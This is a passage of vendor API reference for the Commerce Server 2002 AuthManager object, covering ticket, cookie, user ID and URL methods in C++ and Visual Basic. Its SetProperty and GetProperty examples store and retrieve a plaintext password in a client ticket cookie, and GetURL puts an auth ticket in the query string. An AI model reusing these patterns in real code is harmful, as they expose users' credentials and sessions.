Function GetProperty(
  enumTicketType As EnumMSCS_TicketType,
  propName As String
) As Variant

Parameters

enumTicketType [C++]
[in] An EnumMSCS_TicketType that indicates the type of ticket that contains the property.
enumTicketType [Visual Basic]
[in] An EnumMSCS_TicketType that indicates the type of ticket that contains the property.
propName [C++]
[in] A BSTR that contains the name of the property to retrieve.
propName [Visual Basic]
[in] A String that contains the name of the property to retrieve.
PVarCustomPropVal [C++]
[out, retval] A pointer to a VARIANT containing a BSTR with the value for the specified property in the current user ticket. If the property is not found, the pointer is set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the value for the specified property in the current user ticket. If the property is not found, the returned Variant is empty.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHID_INVALID_PROPERTY | [C++] 0xC1004C27 [Visual Basic] &HC1004C27 | Invalid custom property name or value.
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
E_UPM_AUTHMANAGER_TICKET_NOT_SET | [C++] 0xC1004C25 [Visual Basic] &HC1004C25 | Requested ticket not set.
MSG_UPM_AUTH_PROPNOTFOUND_ERROR | [C++] 0xC1004C00 [Visual Basic] &HC1004C00 | Requested property does not exist on the ticket.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table defines the possible values for the EnumMSCS_TicketType.

Name | Value | Description
enumMSCS_ProfileTicketType | 1 | A MSCSProfile ticket used for an anonymous user.
enumMSCS_AuthTicketType | 2 | A MSCSAuth ticket used for a registered user.

Use the SetProperty method to place custom property values in the current user ticket.

[C++]

The pVarCustomPropVal parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sPasswordValue is a String
' oAuthManager is a Commerce AuthManager object

sPasswordValue = oAuthManager.GetProperty(enumMSCS_AuthTicketType, _
 "Password")

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::SetProperty

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.SetProperty


IMSCSAuthManager2::GetURL Method [C++]

AuthManager.GetURL Method [Visual Basic]

Use this method to generate an encoded URL string.

Definition

[C++]
HRESULT IMSCSAuthManager::GetURL(
  BSTR FileName,
  BOOL fCookie,
  BOOL fSecure,
  VARIANT* pVarURLParameters,
  VARIANT* pVarURLValues,
  BSTR* pbstrRet
);
[Visual Basic]
Function GetURL(
  FileName As String,
  fCookie As Boolean,
  fSecure As Boolean,
  Optional pVarURLParameters As Variant,
  Optional pVarURLValues As Variant
) As String

Parameters

FileName [C++]
[in] A BSTR that contains the file name to reference in the URL.
FileName [Visual Basic]
[in] A String that contains the file name to reference in the URL.
fCookie [C++]
[in] A BOOL that indicates whether the user allows cookies.
fCookie [Visual Basic]
[in] A Boolean that indicates whether the user allows cookies.
fSecure [C++]
[in] A BOOL that indicates whether to output a secure URL (HTTPS). See the Remarks section for more information about using this parameter.
fSecure [Visual Basic]
[in] A Boolean that indicates whether to output a secure URL (HTTPS). See the Remarks section for more information about using this parameter.
pVarURLParameters [C++]
[in, optional, defaultvalue (NULL)] A pointer to a VARIANT containing a SAFEARRAY of parameter names to include in the URL.
pVarURLParameters [Visual Basic]
[in, optional] A SafeArray that contains a list of parameter names to include in the URL.
pVarURLValues [C++]
[in, optional] A pointer to a VARIANT containing a SAFEARRAY of parameter values that correspond to the parameter names.
pVarURLValues [Visual Basic]
[in, optional] A SafeArray that contains values that correspond to the parameter names.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the encoded URL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the encoded URL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The encoded URL includes the host name (retrieved from the site configuration), the virtual directory in which the file is stored (determined by the scripting context), the name of the file, flags for cookie support and security, and optional custom name/value pairs (for example, the name "SKU" and the stock-keeping unit (SKU) value for an item in a shopping cart).

If cookies are not allowed, the cookie flag is set to False and the ticket is appended to the URL.

Note

  • When a cached HTML segment that contains a URL with an appended ticket is retrieved, the ticket needs to be replaced with the correct one (for the current user context).

Set the fSecure flag to True if you want to output a URL based on the securehostname property of the site. The Enable HTTPS property of the site must be True and the securehostname property of the site must be valid to output a valid secure URL.

Use the URLArgs or URLShopperArgs methods to encode a URL query string out of name/value pairs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrRet parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' saParameterNames and saParameterValues are SafeArrays
' sURL is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku"
saParameterValues(0) = "12345"

' Output a secure URL
sURL = oAuthManager.GetURL("filename.asp", False, True, _
 saParameterNames, saParameterValues)

' sURL = https://secure_host_name/virtual_directory/filename.asp?sku=12345&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E

' Output an insecure URL
sURL = oAuthManager.GetURL("filename.asp", False, False, _
 saParameterNames, saParameterValues)

' sURL = http://insecure_host_name/virtual_directory/filename.asp?sku=12345&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::GetUserID Method [C++]

AuthManager.GetUserID Method [Visual Basic]

Use this method to retrieve the user ID stored in a ticket.

Definition

[C++]
HRESULT IMSCSAuthManager::GetUserID(
  EnumMSCS_TicketType enumTicketType,
  VARIANT* pUserID
);
[Visual Basic]
Function GetUserID(
  enumTicketType As EnumMSCS_TicketType
) As Variant

Parameters

enumTicketType [C++]
[in] An EnumMSCS_TicketType that indicates the type of ticket that contains the user ID.
enumTicketType [Visual Basic]
An EnumMSCS_TicketType that indicates the type of ticket that contains the user ID.
pUserID [C++]
[out, retval] A pointer to a VARIANT containing a BSTR used to return the unique ID for the current user. If the appropriate ticket type is not found or there is no user ID, the returned VARIANT is set to type VT_NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the user ID. If the appropriate ticket type is not found or there is no user ID, the method returns NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table defines the possible values for the EnumMSCS_TicketType.

Name | Value | Description
enumMSCS_ProfileTicketType | 1 | A MSCSProfile ticket used for an anonymous user.
enumMSCS_AuthTicketType | 2 | A MSCSAuth ticket used for a registered user.

If the ticket type is a MSCSAuth ticket and the ticket has expired, the ticket will be deleted and the return value will be as if there was no ticket.

If the ticket type is a MSCSAuth ticket and the ticket is within five minutes of expiring, the last login time is refreshed to the current time, allowing an additional period for the ticket to be valid.

[C++]

The pUserID parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vUserID is a Variant
' oAuthManager is a Commerce AuthManager object

vUserID = oAuthManager.GetUserID(enumMSCS_ProfileTicketType)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::GetUserIDFromCookie Method [C++]

AuthManager.GetUserIDFromCookie Method [Visual Basic]

Use this method to retrieve a user ID stored in a cookie.

Definition

[C++]
HRESULT IMSCSAuthManager::GetUserIDFromCookie(
  BSTR cookieData,
  BSTR* pbstrUserID
);
[Visual Basic]
Function GetUserIDFromCookie(
  cookieData As String
) As String

Parameters

cookieData [C++]
[in] A BSTR that contains the Auth ticket cookie data.
cookieData [Visual Basic]
[in] A String that contains the Auth ticket cookie data.
pbstrUserID [C++]
[out, retval] A pointer to a BSTR used to return the user ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the user ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The cookie data is always URL decoded.

This method is available when the MSCSAuthManager object is instantiated outside of the context of an ASP script.

Commerce Server 2002 Analysis applications use this method to extract user IDs from cookies found in Internet Information Services (IIS) log files.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrUserID parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' vUserID is a Variant
' oAuthManager is a Commerce AuthManager object

vUserID = oAuthManager.GetUserIDFromCookie(sCookieData)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::GetUserIDFromCookieAndKey Method [C++]

AuthManager.GetUserIDFromCookieAndKey Method [Visual Basic]

Use this method to retrieve the user ID stored in a cookie using an encryption key.

Definition

[C++]
HRESULT IMSCSAuthManager2::GetUserIDFromCookieAndKey(
  BSTR cookieData,
  BSTR encryptionKey,
  BSTR* pbstrUserID
);
[Visual Basic]
Function GetUserIDFromCookieAndKey(
  cookieData As String,
  encryptionKey As String
) As String

Parameters

cookieData [C++]
[in] A BSTR that contains the cookie.
cookieData [Visual Basic]
[in] A String that contains the cookie.
encryptionKey [C++]
[in] A BSTR that contains the encryption key.
encryptionKey [Visual Basic]
A String that contains the encryption key.
pbstrUserID [C++]
[out, retval] A pointer to a BSTR used to return the user ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the user ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The cookie data is always URL decoded.

This method is available when the MSCSAuthManager object is instantiated outside of the context of an ASP script.

This method is similar to the GetUserIDFromCookie method, but allows you to specify the encryption key. This enables the decryption of persistent cookies when the ticket encryption keys have changed. Retaining the user ID when replacing outdated cookies prevents the Business Analytics System from treating the returning user as a new user.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrUserID parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' vUserID is a Variant
' oAuthManager is a Commerce AuthManager object

vUserID = oAuthManager.GetUserIDFromCookieAndKey(sCookieData, sKey)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::Initialize Method [C++]

AuthManager.Initialize Method [Visual Basic]

Use this method to initialize the AuthManager object.

Definition

[C++]
HRESULT IMSCSAuthManager::Initialize(
  BSTR bstrSiteName,
);
[Visual Basic]
Sub Initialize(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the name of the Commerce Server 2002 Web site.
bstrSiteName [Visual Basic]
[in] A String that contains the name of the Commerce Server 2002 Web site.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The AuthManager object must be properly initialized to a valid site name immediately after creating the object and before any other AuthManager object method is used.

The first time any AuthManager object uses this method, it connects to the Administration database and caches the site configuration data using the SiteConfig object. When subsequent AuthManager objects call this method the data is read from the cache.

Use the Refresh method to update the site configuration data after any of the properties have been changed.

Use the UnInitialize method to delete the site-specific configuration resource properties from the cache when the site is no longer valid.

It is suggested that you instantiate and initialize the AuthManager object in the Global.asa file to make sure at least one instance of the object exists, and to ensure the dynamic-link library (DLL) is loaded in memory and not flushed out by Internet Information Services (IIS) for performance reasons. This AuthManager object should not be used elsewhere. A separate instance of the AuthManager object must be created and destroyed on each ASP page.

This method is available when the MSCSAuthManager object is instantiated outside of the context of an ASP script.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.Initialize(sSiteName)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::IsAuthenticated Method [C++]

AuthManager.IsAuthenticated Method [Visual Basic]

Use this method to determine whether the current user has a valid MSCSAuth ticket. This method also allows the determination of whether the user has been authenticated within a specified period of time.

Definition

[C++]
HRESULT IMSCSAuthManager::IsAuthenticated(
  long TimeWindow,
  VARIANT_BOOL* pboolAuth
);
[Visual Basic]
Function IsAuthenticated(
  Optional TimeWindow As Long
) As Boolean

Parameters

TimeWindow [C++]
[in, optional, defaultvalue (0)] A long that contains a time period in minutes.
TimeWindow [Visual Basic]
[in, optional, defaultvalue (0)] A Long that contains a time period in minutes.
pboolAuth [C++]
[out, retval] A pointer to a VARIANT_BOOL containing the authentication status of the current user.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean that indicates the authentication status of the current user.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A MSCSAuth ticket contains the time the user last logged in and a time window of validity. The ticket is no longer valid if the time since the last login has exceeded the time window specified in the SetAuthTicket method when the ticket was generated.

The optional time window parameter, TimeWindow, of this method allows checking whether the time since the user last logged in has exceeded a shorter time interval than the time window specified by the SetAuthTicket method. The default value of zero (0) is equivalent to setting the time window to the same value as specified in the SetAuthTicket method.

This method returns False if the user does not have an MSCSAuth ticket, the ticket is invalid, or the time since the user last logged in has exceeded the specified time window.

If the ticket is within five minutes of expiring, the last login time is refreshed to the current time, allowing an additional period for the ticket to be valid.

Ensure a log-off page is created and called for any logged-in user. The log-off page should either expire the MSCSAuth cookie or clear its contents.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pboolAuth parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

bAuth = oAuthManager.IsAuthenticated(lWindow)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::Refresh Method [C++]

AuthManager.Refresh Method [Visual Basic]

Use this method to update the cached site configuration resource properties after any of the properties have been changed.

Definition

[C++]
HRESULT IMSCSAuthManager::Refresh(
  BSTR bstrSiteName
);
[Visual Basic]
Sub Refresh(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the site name.
bstrSiteName [Visual Basic]
A String that contains the site name.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Call this method immediately after changing any of the authentication related site configuration resource properties. Also, use this method when switching between Active Server Pages (ASP) and Microsoft Visual Basic Scripting Edition (VBScript) files and updating the site configuration properties.

This method is available when the MSCSAuthManager object is instantiated outside of the context of an ASP script.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.Refresh(sSiteName)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::SetAuthTicket Method [C++]

AuthManager.SetAuthTicket Method [Visual Basic]

Use this method to set an encrypted MSCSAuth ticket for a registered user.

Definition

[C++]
HRESULT IMSCSAuthManager::SetAuthTicket(
  BSTR UserID,
  VARIANT_BOOL fCookieSupport,
  long TimeWindow
);
[Visual Basic]
Sub SetAuthTicket(
  UserID As String,
  fCookieSupport As Boolean,
  TimeWindow As Long
)

Parameters

UserID [C++]
[in] A BSTR that contains the unique ID for the current user.
UserID [Visual Basic]
[in] A String that contains the unique ID for the current user.
fCookieSupport [C++]
[in] A VARIANT_BOOL that indicates whether session cookies are supported.
fCookieSupport [Visual Basic]
[in] A Boolean that indicates whether session cookies are supported.
TimeWindow [C++]
[in] A long that defines the time window in minutes that the MSCSAuth ticket is valid.
TimeWindow [Visual Basic]
[in] A Long that defines the time window in minutes that the MSCSAuth ticket is valid.
[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHID_INVALID_CHARACTER_PRESENT | [C++] 0xC1004C23 [Visual Basic] &HC1004C23 | Invalid character (';' or '%' or '=') present in the user ID or the property name/value pair.
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
MSG_UPM_AUTHID_TICKET_MAX_REACHED | [C++] 0xC1004C40 [Visual Basic] &HC1004C40 | The ticket has reached a maximum size of 4 Kilobytes of data.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The time the user last logged in is stored in the ticket, along with the length of time from the last login that the ticket is valid. This method will set the last login time to the current time on the local computer each time it is invoked.

If the current user is anonymous, use the SetProfileTicket method to generate an MSCSProfile ticket.

Caution

  • If an MSCSAuth ticket for the user already exists and an empty string is passed in as the ID for the user, the existing ticket is deleted.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetAuthTicket "JoeUser@microsoft.com", True, 30

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::IsAuthenticated

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.IsAuthenticated


IMSCSAuthManager2::SetProfileTicket Method [C++]

AuthManager.SetProfileTicket Method [Visual Basic]

Use this method to set a MSCSProfile ticket for an anonymous user. An anonymous user is not registered with a site.

Definition

[C++]
HRESULT IMSCSAuthManager::SetProfileTicket(
  BSTR UserID,
  VARIANT_BOOL fCookieSupport
);
[Visual Basic]
Sub SetProfileTicket(
  UserID As String,
  fCookieSupport As Boolean
)

Parameters

UserID [C++]
[in] A BSTR that contains the unique ID for the current user.
UserID [Visual Basic]
[in] A String that contains the unique ID for the current user.
fCookieSupport [C++]
[in] A VARIANT_BOOL that indicates whether persistent cookies are supported.
fCookieSupport [Visual Basic]
[in] A Boolean that indicates whether persistent cookies are supported.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHID_INVALID_CHARACTER_PRESENT | [C++] 0xC1004C23 [Visual Basic] &HC1004C23 | Invalid character (';' or '%' or '=') present in the user ID or the property name/value pair.
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
MSG_UPM_AUTHID_TICKET_MAX_REACHED | [C++] 0xC1004C40 [Visual Basic] &HC1004C40 | The ticket has reached a maximum size of 4 Kilobytes of data.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the current user has registered, use the SetAuthTicket method to generate an MSCSAuth ticket.

Caution

  • If an MSCSProfile ticket for the user already exists and an empty string is passed in for the user ID, the existing ticket is deleted.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetProfileTicket "74A38551-D6D8-FFD0-12BF-0A20C90DC8D1", True

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::IsAuthenticated

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.IsAuthenticated


IMSCSAuthManager2::SetProperty Method [C++]

AuthManager.SetProperty Method [Visual Basic]

Use this method to place a custom property name/value pair into the current ticket for the user.

Definition

[C++]
HRESULT IMSCSAuthManager::SetProperty(
  EnumMSCS_TicketType enumTicketType,
  BSTR propName,
  BSTR propVal
);
[Visual Basic]
Sub SetProperty(
  EnumMSCS_TicketType enumTicketType,
  propName As String,
  propVal As String
)

Parameters

enumTicketType [C++]
[in] An EnumMSCS_TicketType that indicates the type of ticket.
enumTicketType [Visual Basic]
[in] An EnumMSCS_TicketType that indicates the type of ticket.
propName [C++]
[in] A BSTR that contains the name of the property.
propName [Visual Basic]
[in] A String that contains the name of the property.
propVal [C++]
[in] A BSTR that contains the value corresponding to the named property.
propVal [Visual Basic]
[in] A String that contains the value corresponding to the named property.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHID_INVALID_CHARACTER_PRESENT | [C++] 0xC1004C23 [Visual Basic] &HC1004C23 | Invalid character (';' or '=') present in the property name/value pair.
E_UPM_AUTHID_INVALID_PROPERTY | [C++] 0xC1004C27 [Visual Basic] &HC1004C27 | Invalid custom property name or value.
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
MSG_UPM_AUTHID_TICKET_MAX_REACHED | [C++] 0xC1004C40 [Visual Basic] &HC1004C40 | The ticket has reached a maximum size of 4 Kilobytes of data.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the GetProperty method to retrieve the custom property values from the current ticket.

The following table defines the possible values for the EnumMSCS_TicketType.

Name | Value | Description
enumMSCS_ProfileTicketType | 1 | A MSCSProfile ticket used for an anonymous user.
enumMSCS_AuthTicketType | 2 | A MSCSAuth ticket used for a registered user.
[Visual Basic]

If the user does not already have an appropriate ticket, call SetAuthTicket or SetProfileTicket to obtain the ticket before calling this method. If this method is called while the user does not have an appropriate ticket, the user will be sent a cookie with the property, but no ticket.

[C++]

If the user does not already have an appropriate ticket, call SetAuthTicket or SetProfileTicket to obtain the ticket before calling this method. If this method is called while the user does not have an appropriate ticket, the user will be sent a cookie with the property, but no ticket.

This method will set the ticket in a cookie if the client browser supports cookies, otherwise, a subsequent call to the GetURL method will be required to set the ticket in the URL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetAuthTicket "JoeUser@microsoft.com", True, 30

' These two method calls do not have to be consecutive,
' or even in the same script, but do need to be in this order.

oAuthManager.SetProperty enumMSCS_AuthTicketType, "Password", "MyPassword123"

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::GetProperty

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.GetProperty


IMSCSAuthManager2::SetUserID Method [C++]

AuthManager.SetUserID Method [Visual Basic]

Use this method to change the user ID property on a ticket.

Definition

[C++]
HRESULT IMSCSAuthManager::SetUserID(
  EnumMSCS_TicketType enumTicketType,
  BSTR newUserID
);
[Visual Basic]
Sub SetUserID(
  enumTicketType As EnumMSCS_TicketType,
  newUserID As String
)

Parameters

enumTicketType [C++]
[in] An EnumMSCS_TicketType that indicates the type of ticket that will contain the user ID.
enumTicketType [Visual Basic]
An EnumMSCS_TicketType that indicates the type of ticket that will contain the user ID.
newUserID [C++]
[in] A BSTR that contains the unique ID for the current user.
newUserID [Visual Basic]
A String that contains the unique ID for the current user.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

